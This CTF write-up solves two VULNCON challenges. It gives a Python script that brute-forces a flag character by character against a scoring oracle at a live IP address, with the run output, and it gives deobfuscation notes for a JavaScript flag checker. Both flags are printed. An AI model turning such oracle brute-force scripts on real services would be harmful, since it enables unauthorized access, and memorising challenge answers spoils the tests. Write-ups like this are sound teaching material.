<(^-^)>
Thanks for playing!
Hmmmm!!! Don't be sad!!! Your score = 0/33
Since the challenge gives us an oracle that tells us how many characters matches the flag, we can just iterate it character by character using the following script:
#!/usr/bin/env python
from pwn import *
import string
# 24 b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n"
flag_len = 24 + len("VULNCON{}")
# Exclude whitespace
CHARSET = string.printable[:94]
def attempt(data):
p = remote("34.76.165.98", 4545)
data = "VULNCON{" + data + "A" * (24 - len(data)) + "}"
p.sendline(b"")
p.sendline(data.encode())
p.recvuntil(b"[?]> ")
data = p.recvall()
score = None
if b"Your score" in data:
temp = data.strip()
score = int(temp[temp.index(b'=') + 2:temp.index(b'/')])
p.close()
return data, score
def main():
# The flag only has 9 correct characters at this point.
# e.g. starting = "VULNCON{" + "A" * 24 + "}"
middle_part = ""
matching = 9
for i in range(24):
for candidate in CHARSET:
result, score = attempt(middle_part + candidate)
print(result, score, middle_part)
if score > matching:
middle_part += candidate
matching = score
break
log.success("Flag: " + "VULNCON{" + middle_part + "}")
if __name__ == '__main__':
main()
Running the exploit gives us the flag eventually:
$ python exploit.py
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done
...
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 32/33\n" 32 k1rby_7h3_5p3ll_ch3ck3r
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (73B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 32/33\n" 32 k1rby_7h3_5p3ll_ch3ck3r
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (58B)
[*] Closed connection to 34.76.165.98 port 4545
b'\n<(^-^)>\nThanks for playing!\nYeyyyy!!! Your score = 33/33\n' 33 k1rby_7h3_5p3ll_ch3ck3r
[+] Flag: VULNCON{k1rby_7h3_5p3ll_ch3ck3r!}
Flag: VULNCON{k1rby_7h3_5p3ll_ch3ck3r!}
Reverse/JS is Awesome
Reverse/JS is Awesome
1gn1te
8 solves / 482 points
A simple web flag checker
Attachment: challenge file
Solution
This was a pain and manually deobfuscated. Here are my notes:
Must start with VULNCON{ and end with }
Must contain a body of five groups separated by _
Constraints 1
data[2].length == 2 // data[2] must be length of 2
||
data[1].length == 2
||
data[1][1] == data[2][1]
||
data[2][1] - data[2][0]) == 4 // data[2][1] and data[2][0] must be numerical
||
data[1][0].charCodeAt(0) - data[1][1]) == 101
||
data[1][0] == 'j')
Constraints 2
compare(runfun(xor, data[3]), 'f`C`?e') // data[3] == "71r1n6"
||
compare(runfun2(a, data[3], data[0]), [150, 234, 151, 101, 189, 29, 57, 44, 194, 164])
// data[0] is length 10
// a(expkey, expected)
// '0bfu5c473d'
Putting it together
0bfu5c473d_j5_15_71r1n6_ABCDEF
Constraints 3
for (let i = 0; i < data[4].length; i++) {
text += String.fromCharCode(xor(data[0][i].charCodeAt(0), data[4][i].charCodeAt(0)));
}
// In [142]: xor(b'0bfu5c473d', [85, 1, 84, 76, 3, 87, 2, 84, 11, 6])
// Out[142]: b'ec29646c8b'
Final:
VULNCON{0bfu5c473d_j5_15_71r1n6_ec29646c8b}
Flag: VULNCON{0bfu5c473d_j5_15_71r1n6_ec29646c8b}
Leave a Comment